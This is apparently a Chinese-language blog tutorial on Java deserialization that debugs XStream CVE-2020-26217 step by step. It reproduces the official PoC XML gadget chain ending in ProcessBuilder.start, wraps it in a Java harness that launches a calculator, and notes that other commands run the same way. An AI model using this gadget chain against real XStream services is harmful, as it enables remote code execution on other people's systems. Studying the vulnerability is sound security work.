一、前言 本文为 Java 反序列化漏洞案例调试分析学习文章,主要内容为通过已披露的信息结合 Poc 定位漏洞利用链并进行回溯分析,重思路向。
二、前置知识 Java 序列化与反序列化 Java 序列化
是指把 Java 对象
转换为字节序列
的过程,便于保存在内存、文件、数据库中,如ObjectOutputStream
类的 writeObject()
方法可以实现序列化。
Java反序列化
是指把字节序列
恢复为 Java 对象
的过程,如ObjectInputStream
类的 readObject()
方法用于反序列化。简单案例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.io.*;public class test { public static void main (String args[]) throws Exception{ String obj="hello world!" ; FileOutputStream fos=new FileOutputStream ("object_test" ); ObjectOutputStream os=new ObjectOutputStream (fos); os.writeObject(obj); os.close(); FileInputStream fis=new FileInputStream ("object_test" ); ObjectInputStream ois=new ObjectInputStream (fis); String obj2=(String)ois.readObject(); System.out.print(obj2); ois.close(); } }
序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储:
1)把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中; 2)在网络上传送对象的字节序列接收方接收到字符序列后,使用反序列化从字节序列中恢复出Java对象;
序列化/反序列化方法 序列化 1 2 3 4 5 1 、writeObject() : 为 ObjectOutputStream 类中的一个方法,用于将对象序列化并写入输出流的函数。它是在实现了 java.io.Serializable 接口的类中定义的。当你调用 writeObject() 方法并将一个对象作为参数传递给它时,该对象的状态将被序列化并写入输出流中。2 、writeUnshared():该方法与 writeObject() 类似,用于将对象进行序列化并写入输出流中。不同之处在于,writeUnshared() 方法会确保对象的每次写入都是独立的,即使同一个对象多次写入,每次写入都会被视为独立的对象。这可以用于避免在序列化过程中引入对象的循环引用或共享状态。3 、XMLEncoder:XMLEncoder 类用于将 Java 对象序列化为 XML 格式的数据。它可以将 Java 对象图转换为 XML 数据。可以使用 XMLEncoder 的构造函数创建一个实例,传入一个输出流(如文件输出流、URL 输出流等),然后使用 writeObject() 方法将对象写入输出流
反序列 1 2 3 4 5 1 、readObject():为 ObjectInputStream 类中的一个方法,用于从输入流中读取序列化的对象并进行反序列化。它是在实现了 java.io.Serializable 接口的类中定义的。当你调用 readObject() 方法时,它会从输入流中读取对象的序列化数据,并将其还原为原始对象。2 、readUnshared():该函数与 readObject() 类似,用于从输入流中读取序列化的对象进行反序列化。不同之处在于,readUnshared() 函数会确保每次读取的对象都是独立的,即使同一个对象多次读取,每次读取都会被视为独立的对象。这可以用于避免在反序列化过程中共享对象状态。3 、XMLDecoder:XMLDecoder 类用于从 XML 文件或输入流中读取 XML 数据并将其反序列化为 Java 对象。它可以将 XML 数据转换为 Java 对象图。可以使用 XMLDecoder 的构造函数创建一个实例,传入一个输入流(如文件输入流、URL 输入流等),然后使用 readObject() 方法从输入流中读取对象
java.io.Serializable 接口是 Java 中的一个标记接口(marker interface),用于指示类的对象可以被序列化和反序列化。实现了 Serializable 接口的类可以通过 ObjectOutputStream 将其对象转换为字节流进行序列化,并通过 ObjectInputStream 将字节流转换回对象进行反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import java.io.*;# SerializationExample 类中定义了两个方法 serializeObject、deserializeObject public class SerializationExample { public static void main (String[] args) { String fileName = "serializedObject.ser" ; serializeObject(fileName); Person deserializedPerson = deserializeObject(fileName); System.out.println("反序列化对象:" ); System.out.println("姓名:" + deserializedPerson.getName()); System.out.println("年龄:" + deserializedPerson.getAge()); } private static void serializeObject (String fileName) { try (FileOutputStream fileOutputStream = new FileOutputStream (fileName); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream)) { Person person = new Person ("John" , 25 ); objectOutputStream.writeObject(person); System.out.println("对象序列化成功" ); } catch (IOException e) { e.printStackTrace(); } } private static Person deserializeObject (String fileName) { try (FileInputStream fileInputStream = new FileInputStream (fileName); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream)) { Person deserializedPerson = (Person) objectInputStream.readObject(); return deserializedPerson; } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } return null ; } } class Person implements Serializable { private String name; private int age; public Person (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public int getAge () { return age; } }
三、漏洞案例 XStream反序列化 XStream 是一个简单的基于 Java 的类库,用来将 Java 对象序列化成 XML(JSON)或反序列化为对象。
XStream 反序列化漏洞的具体原因如下:
默认支持任意类的反序列化:XStream 的默认配置允许将任意类进行反序列化,而不仅仅限于预期的类。这意味着攻击者可以构造特制的XML数据,其中包含恶意代码或恶意类的引用。
类加载器的问题:XStream 在反序列化时会使用当前线程的上下文类加载器来加载类。如果攻击者能够控制类加载器或提供恶意的类加载器,就可以加载和执行恶意类。
默认安全忽略策略:XStream 默认情况下会忽略一些敏感的 Java 类,如 java.lang.Runtime、java.lang.ProcessBuilder 等。然而,这个默认的安全忽略策略可能不够严格,攻击者可以绕过这些限制。
影响范围
在1.4.x 系列版本中,<=1.4.6 或 = 1.4.10 存在反序列化漏洞
XStream 的序列化与反序列化
XStream 的序列化与反序列与 Java 原生的序列化反序列化机制存在差异,XStream 使用的是独立的一套机制,主要核心是通过 Converter 转换器来将 XML 和对象之间进行相互的转换,简单的来说就是:将特定类型的对象转换为 XML 或者将 XML 转换为特定类型的对象
,具体需要先实现以下3个方法:
canConvert 方法:告诉 XStream 对象,它能够转换的对象;
marshal 方法:能够将对象转换为XML时候的具体操作;
unmarshal 方法:能够将XML转换为对象时的具体操作;
具体可参考官方文档:http://x-stream.github.io/converters.html ,下图为转换的类型格式
例子:使用了 xstream.toXML()
方法将 person
类的对象字符串序列化为 xml
格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.thoughtworks.xstream.XStream;public class XStreamExample { public static void main (String[] args) { XStream xstream = new XStream (); Person person = new Person ("John Doe" , 30 ); String xml = xstream.toXML(person); System.out.println(xml); } public static class Person { private String name; private int age; public Person (String name, int age) { this .name = name; this .age = age; } } }
反序列化则使用了 xstream.fromXML()
方法将已经序列化的xml
反序列化为字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import com.thoughtworks.xstream.XStream;public class XStreamExample { public static void main (String[] args) { XStream xstream = new XStream (); xstream.alias("person" , Person.class); String xml = "<person><name>John</name><age>30</age></person>" ; Person person = (Person) xstream.fromXML(xml); System.out.println("Deserialized Person:" ); System.out.println("Name: " + person.getName()); System.out.println("Age: " + person.getAge()); } public static class Person { private String name; private int age; public String getName () { return name; } public int getAge () { return age; } } }
完整的序列化与反序列化,程序先将字符串序列化为 xml
格式,然后再将已经为 xml
格式反序列化为字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import com.thoughtworks.xstream.XStream;public class XStreamExample { public static class Person { private String name; private int age; public Person (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } } public static void main (String[] args) { XStream xstream = new XStream (); Person person = new Person ("John Doe" , 30 ); String xml = xstream.toXML(person); System.out.println("Serialized XML:" ); System.out.println(xml); Person deserializedPerson = (Person) xstream.fromXML(xml); System.out.println("\nDeserialized Person:" ); System.out.println("Name: " + deserializedPerson.getName()); System.out.println("Age: " + deserializedPerson.getAge()); } }
上述案例 Pom.xml 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > com.example</groupId > <artifactId > xstream-example</artifactId > <version > 1.0.0</version > <properties > <maven.compiler.source > 1.8</maven.compiler.source > <maven.compiler.target > 1.8</maven.compiler.target > </properties > <dependencies > <dependency > <groupId > com.thoughtworks.xstream</groupId > <artifactId > xstream</artifactId > <version > 1.4.15</version > </dependency > </dependencies > </project >
CVE-2020-26217
官方漏洞通告
https://x-stream.github.io/CVE-2020-26217.html
, XStream 代码中可直接利用用户控制的请求输入的 xml 数据作为 fromXML 的参数使用,这里输入可能是输入流、文件、post参数等,并且程序中没有设置允许反序列化类的白名单,导致反序列化漏洞。漏洞版本为 1.4.13
。
官方 Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <map > <entry > <jdk.nashorn.internal.objects.NativeString > <flags > 0</flags > <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType > text/plain</contentType > <is class ='java.io.SequenceInputStream' > <e class ='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator' > <iterator class ='javax.imageio.spi.FilterIterator' > <iter class ='java.util.ArrayList$Itr' > <cursor > 0</cursor > <lastRet > -1</lastRet > <expectedModCount > 1</expectedModCount > <outer-class > <java.lang.ProcessBuilder > <command > <string > calc</string > </command > </java.lang.ProcessBuilder > </outer-class > </iter > <filter class ='javax.imageio.ImageIO$ContainsFilter' > <method > <class > java.lang.ProcessBuilder</class > <name > start</name > <parameter-types /> </method > <name > start</name > </filter > <next /> </iterator > <type > KEYS</type > </e > <in class ='java.io.ByteArrayInputStream' > <buf > </buf > <pos > 0</pos > <mark > 0</mark > <count > 0</count > </in > </is > <consumed > false</consumed > </dataSource > <transferFlavors /> </dataHandler > <dataLen > 0</dataLen > </value > </jdk.nashorn.internal.objects.NativeString > <string > test</string > </entry > </map >
环境搭建
idea 新建项目
配置 pom.xml
引入 xstream
漏洞版本依赖,引入后重新 maven 加载项目,在 pom.xml处右键-> maven-> Reload project
pom.xml
文件如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > com.example</groupId > <artifactId > xstream-2020-26217</artifactId > <version > 1.0.0</version > <properties > <maven.compiler.source > 1.8</maven.compiler.source > <maven.compiler.target > 1.8</maven.compiler.target > </properties > <dependencies > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 3.8.1</version > <scope > test</scope > </dependency > <dependency > <groupId > com.thoughtworks.xstream</groupId > <artifactId > xstream</artifactId > <version > 1.4.13</version > </dependency > </dependencies > <build > <finalName > xstream-2020-26217</finalName > </build > </project >
maven 拉取 xstream 成功后,先在 java 目录下创建一个 java.class 验证 xstream 是否可用,如下:
然后利用该代码进行漏洞调试,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import com.thoughtworks.xstream.XStream;public class XStreamExample { public static void main (String[] args) { String xml = "<map>poc</map>" ; XStream xstream = new XStream (); xstream.fromXML(xml); } }
其中 String xml
内容替换为上文提及的官方 poc
, 其中 <command> </command>
标签填入需要执行的命令,笔者使用的是 Ubuntu
,弹出计算器的命令为 gnome-calculator
,完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import com.thoughtworks.xstream.XStream; public class XStreamExample { public static void main(String[] args){ // 定义一个XML字符串 String xml = "<map > \n" + " <entry > \n" + " <jdk.nashorn.internal.objects.NativeString > \n" + " <flags > 0</flags > \n" + " <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > \n" + " <dataHandler > \n" + " <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > \n" + " <contentType > text/plain</contentType > \n" + " <is class ='java.io.SequenceInputStream' > \n" + " <e class ='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator' > \n" + " <iterator class ='javax.imageio.spi.FilterIterator' > \n" + " <iter class ='java.util.ArrayList$Itr' > \n" + " <cursor > 0</cursor > \n" + " <lastRet > -1</lastRet > \n" + " <expectedModCount > 1</expectedModCount > \n" + " <outer-class > \n" + " <java.lang.ProcessBuilder > \n" + " <command > \n" + " <string > gnome-calculator\n</string > \n" + " </command > \n" + " </java.lang.ProcessBuilder > \n" + " </outer-class > \n" + " </iter > \n" + " <filter class ='javax.imageio.ImageIO$ContainsFilter' > \n" + " <method > \n" + " <class > java.lang.ProcessBuilder</class > \n" + " <name > start</name > \n" + " <parameter-types /> \n" + " </method > \n" + " <name > start</name > \n" + " </filter > \n" + " <next /> \n" + " </iterator > \n" + " <type > KEYS</type > \n" + " </e > \n" + " <in class ='java.io.ByteArrayInputStream' > \n" + " <buf > </buf > \n" + " <pos > 0</pos > \n" + " <mark > 0</mark > \n" + " <count > 0</count > \n" + " </in > \n" + " </is > \n" + " <consumed > false</consumed > \n" + " </dataSource > \n" + " <transferFlavors /> \n" + " </dataHandler > \n" + " <dataLen > 0</dataLen > \n" + " </value > \n" + " </jdk.nashorn.internal.objects.NativeString > \n" + " <string > test</string > \n" + " </entry > \n" + "</map > "; // 创建XStream对象 XStream xstream = new XStream(); // 将XML字符串反序列化为对象 xstream.fromXML(xml); } }
执行后,弹出计算器
亦可执行其他命令,如下,创建一个 test.txt
文件
漏洞分析
先对该 Poc 进行分析,了解其构造过程,方便下面的调试。回到 Poc 分析其 Poc 代码含义,新建 poc.xml 内容为漏洞 Poc,然后利用 firefox
打开 poc.xml ,然后将 Poc 折叠,得到如下图,第一层元素为 <map></map>
, 第二层元素为 <entry></entry>
这两层下带有两个元素 jdk.nashorn.internal.objects.NativeString
和 string
利用如下代码,构建一个案例,可清晰了解到其作用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import com.thoughtworks.xstream.XStream;import java.util.HashMap;import java.util.Map;class Person { String name; int age; public Person (String name, int age) { this .name = name; this .age = age; } } public class MapTest { public static void main (String[] args) { Map map = new HashMap (); map.put(new Person ("John" , 18 ), "test" ); XStream xstream = new XStream (); String xml = xstream.toXML(map); System.out.println(xml); } }
运行后结果如下:
由代码可知,map
作为 HashMap()
的对象,然后将 Person
的键 ("John", 18)
、键值 ("test")
加载到 map
中,然后利用 xstream.toXML()
序列化为 xml
格式
通过上面分析可知,若利用 XStream 进行序列化会利用 HashMap() 进而生成如下格式:
1 2 3 4 5 6 <map > <entry > <map对象名 > 键</map对象名 > <string > 值</string > </entry > </map >
将 Poc 再展开一层,通过上面分析可知,整个 Poc 可以看作为一个 map 集合,然后 map 集合下面有许多元素,其中 jdk.nashorn.internal.objects.NativeString
为 HashMap()
的对象, jdk.nashorn.internal.objects.NativeString
又带有 <flag>
和 <value>
属性,其值分别为 0
、com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
再展开 value 值后得到更多具体的元素,这样在调试代码时可以清晰地知道该追踪哪些代码进行分析
通过上面分析可知,XStream 在进行序列化前,(该Poc为例) 需先将 <jdk.nashorn.internal.objects.NativeString>
、<string>test</string>
该键值对利用 HashMap()
获取其 hash
值,然后再进行序列化
1 2 Map map = new HashMap ();map.put(new Person ("John" , 18 ), "test" );
具体开展分析
分析其利用链(Gadgets),通过 Poc
可发现,其最后执行命令使用了 java.lang.ProcessBuilder
类中的 start()
方法,现我们跟进类中的 start()
获取整个利用链
注释:java.lang.ProcessBuilder
是 Java 标准库中的一个类,用于创建和管理外部进程。它提供了一种在 Java 程序中执行外部命令的方式,通过java.lang.ProcessBuilder
可以指定要执行的命令及其参数,并设置执行命令时的环境变量、工作目录等。然后使用 start()
方法来启动进程,并获取与该进程相关的输入流、输出流和错误流。
因为 xstreaam
中已经包含了 java.lang.ProcessBuilder
类,所以我们在代码中并不需要导入,但我们可以通过先导入方便我们进行分析,跟进其代码便于找到 start()
方法
现导入 import java.lang.ProcessBuilder;
然后将鼠标移至 ProcessBuilder + 鼠标左键
,进入 ProcessBuilder
类
进入到 ProcessBuilder
类后,继续寻找 start()
方法,鼠标选中 ProcessBuilder
后,鼠标移至停留,弹出该类的具体描述,简单的意思是:java.lang.ProcessBuilder
是 Java 标准库中的一个类,用于创建操作系统进程。每个 ProcessBuilder
实例管理一组进程属性。start()
方法使用这些属性创建一个新的 Process
实例。可以从同一个 ProcessBuilder
实例重复调用 start()
方法,以创建具有相同或相关属性的新子进程。具体可自行翻译查看。
接着我们点击图中的 start()
方法进入到 start()
方法的具体描述,最后通过 鼠标右键
该描述 Jump to Source
进入到 java.lang.ProcessBuilder#start()
方法中
通过 Poc
可知最后执行的是由 java.lang.ProcessBuilder
类下的 command
对象触发命令执行,所以断点如下:
返回 XStreamExample.java
文件中运行 debug
,鼠标右键点击 Debug 按钮,获得该代码的完整利用链
完整利用链(Gadgets)如下
知道完整调用链,现回到 XStreamExample.java
对 xstream.fromXML()
方法进行 debug
,逐一进行调试分析,通过不断的点点点点,发现调用链实在太长,最终还是通过上面分析出来的 Gadgets
直接直接定位漏洞点
回到 ProcessBuilder.java
文件下打下断点,重新获取完整的 Gadgets
然后根据上面分析,我们知道 XStream
在进行序列化前,需要先将值利用 HashMap()
生成 hash
然后 put
到 entry
中,根据 Poc
及 HashMap()
关键字,我们定位到
调用链 putCurrentEntryIntoMap:107,MapCoverter(com.thoughtworks.xstream.converters.collections)
根据调用链向上分析,找到获取 hash
值的代码,调用了 getStringValue()
方法
跟进 getStringValue()
, Ctrl + 鼠标左键
,具体 getStringValue()
方法如下,代码大概意思是通过 instanceof
运算符检查 this.value
这个对象是否为字符串(String)类型,若表达式 this.value instanceof String
为 true
则将 this.value
这个对象强制转换为 String
类型并返回,若不是 String
类型则调用this.value.toString()
将 this.value
转换为字符串并返回
根据调用链去到 getStringValue()
, 由下图得知,this.value
的值为 {Base64Date@1473}
其中 Base64@Date 为对象的类名,1473是对象的哈希码
由 Poc 可知,this.value
的值为 com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
类,由于攻击者可通过 xml
控制 NativeString
元素的 value
子元素,构造了攻击,官方构建为 com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
类
当 this.value
为 com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
时,程序调用 Base64Data 类的 toString
方法
Ctrl + 鼠标左键
跟进toString()
方法
在 InputStream is 上打上断点,然后重新 debug
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public byte [] get() { if (this .data == null ) { try { ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx (1024 ); InputStream is = this .dataHandler.getDataSource().getInputStream(); baos.readFrom(is); is.close(); this .data = baos.getBuffer(); this .dataLen = baos.size(); } catch (IOException var3) { this .dataLen = 0 ; } }
代码大意如下,由 Poc 和上图可知,这一程序执行步骤如下:
1、this.dataHandler.getDataSource()
是获取 com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
类中的 dataHandler
属性的DataSource
值,而 poc 中 DateSource 设置的是 com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
类,所以 this.dataHandler.getDataSource()
为 com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
2、然后程序继续往下执行,通过 com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
类的 getInputStream
方法,获取com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSourc
的 is 属性值
继续跟踪,我们由上图可知, is 中设置的值为 java.io.SequenceInputStream
类,我们需要跟进该类,调用的是 该类的 nextStream()
方法
Ctrl + 鼠标左键
跟进代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 final void nextStream () throws IOException { if (in != null ) { in.close(); } if (e.hasMoreElements()) { in = (InputStream) e.nextElement(); if (in == null ) throw new NullPointerException (); } else in = null ; }
由 Poc 可知,is 下的 e 元素的值被设置为 javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator
继续根据调用链跟进 javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator
,其调用了该类的 nextElement() 方法
1 2 3 4 5 6 7 8 9 10 11 public Object nextElement () { switch (type) { case KEYS: return iterator.next().getKey(); case ELEMENTS: return iterator.next().getValue(); default : return null ; } }
由 poc 可知,type 值为 KEY,则获取 iterator 下的元素
继续跟进 <iterator class="javax.imageio.spi.FilterIterator">
中的 javax.imageio.spi.FilterIterator
类,调用的是该类的 advance() 方法
Ctrl + 鼠标左键
, 跟进代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void advance () { while (iter.hasNext()) { T elt = iter.next(); if (filter.filter(elt)) { next = elt; return ; } } next = null ; }
再次回到 poc 中,将 iterator 展开,查看有哪些元素,其中 ierator 下 filter 是控制过滤条件
继续跟进 javax.imageio.ImageIO$ContainsFilter
1 2 3 4 5 6 7 8 9 public boolean filter (Object elt) { try { return contains((String[])method.invoke(elt), name); } catch (Exception e) { return false ; } }
继续展开 poc 下 filter 下的元素,发现来到了触发执行命令的类,所以由于 method.invoke(elt)
可控,所以导致 method 可以通过 xml 中javax.imageio.ImageIO$ContainsFilter
元素包含的 method 元素被控制,method 里面的 <class>
为我们调用的恶意类,由于程序默认没有对其限制所以导致攻击者可利用 java.lang.ProcessBuilder
构造命令执行
最后 method.invoke(elt)
执行命令,其中 elt 为构造好的 java.lang.ProcessBuilder 对象。所以在 method 与 elt 都可控的情况下,进行反射调用即可实现远程代码执行利用
注释:Java反射机制是指在运行时动态地获取和操作类的信息,包括类的属性、方法、构造函数等。通过反射,可以在程序运行时检查类的结构,创建对象,调用方法,访问和修改字段,甚至可以动态地生成新的类
最后回到了最初的 debug 起点,执行命令。
四、总结 通过对以上案例的分析,整个过程调试下来个人还是学到了不少,主要还是思路方面,对于整体调试思路有所帮助。总体上对于个人来说,在分析过程中无论是对 Java 基础的语法、代码的含义以及开发工具的运用等等均需要有点积累才能更好地开展分析调试工作。
五、扩展 常见能能执行命令的 java 类
java.lang.Runtime
:Runtime
类提供了执行系统命令的方法,如exec()
和getRuntime()
。
java.lang.ProcessBuilder:
ProcessBuilder`类用于创建进程,并执行系统命令。它提供了更灵活的方式来执行命令,并可以设置环境变量、工作目录等。
java.lang.Process
:Process
类表示正在运行的进程。可以使用Process
类的方法来获取进程的输入流、输出流和错误流,以及等待进程完成并获取执行结果。
java.lang.ProcessImpl
:这是Process
类的实现类,它是Java对底层操作系统进程的封装。
使用 Runtime
类执行系统命令的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;public class SystemCommandExecution { public static void main (String[] args) { try { String command = "whoami" ; Process process = Runtime.getRuntime().exec(command); int exitCode = process.waitFor(); InputStream inputStream = process.getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader (inputStream); BufferedReader reader = new BufferedReader (inputStreamReader); String line; while ((line = reader.readLine()) != null ) { System.out.println(line); } System.out.println("命令执行完成,退出码:" + exitCode); } catch (IOException | InterruptedException e) { e.printStackTrace(); } } }
使用 ProcessBuilder
类执行系统命令的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;public class test { public static void main (String[] args) { try { String[] command = {"ls" , "-l" }; ProcessBuilder processBuilder = new ProcessBuilder (command); Process process = processBuilder.start(); InputStream inputStream = process.getInputStream(); BufferedReader reader = new BufferedReader (new InputStreamReader (inputStream)); String line; while ((line = reader.readLine()) != null ) { System.out.println(line); } int exitCode = process.waitFor(); System.out.println("命令执行完成,退出码:" + exitCode); } catch (IOException | InterruptedException e) { e.printStackTrace(); } } }
五、参考 1 2 3 4 5 6 https://www.cnblogs.com/v1ntlyn/p/14034019.html https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ http://x-stream.github.io/converters.html https://x-stream.github.io/CVE-2020-26217.html https://mp.weixin.qq.com/s/0kWEaeZipT45BGyCu05z5A https://xz.aliyun.com/t/8694